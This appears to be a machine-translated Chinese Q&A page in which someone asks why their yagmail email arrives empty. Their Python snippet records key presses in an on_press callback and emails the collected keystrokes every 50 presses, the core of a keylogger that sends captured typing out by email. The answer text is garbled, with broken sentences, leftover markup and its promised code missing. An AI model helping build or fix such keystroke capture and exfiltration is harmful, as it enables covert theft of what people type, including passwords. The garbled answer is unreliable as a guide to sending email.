所以我尝试用Python中的yagmail发送邮件,我有一个数组或列表要发送。当我收到邮件时,里面没有任何内容。为什么
import yagmail
keys = []
listToStr = ' '.join([str(elem) for elem in keys])
def send(keys):
print('test')
yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', listToStr)
def on_press(key):
global keys, count
count += 1
if count >= 50:
count = 0
send(keys)
keys = []
因此,在通过^{} 发送电子邮件之前,您需要了解以下几点:
yagmail
是^{Plain Text Email
或HTML emails
。您的案例看起来更像一个Plain text email
李>因此,通过
yagmail
发送邮件在功能上不应与smtplib
有所不同因此,代码应该大致如下所示:
这将发送一封普通电子邮件,其中
message
中的文本和{}
替换为listToStr
尝试上述方法,然后用方法分解代码以实现功能
相关问题 更多 >
编程相关推荐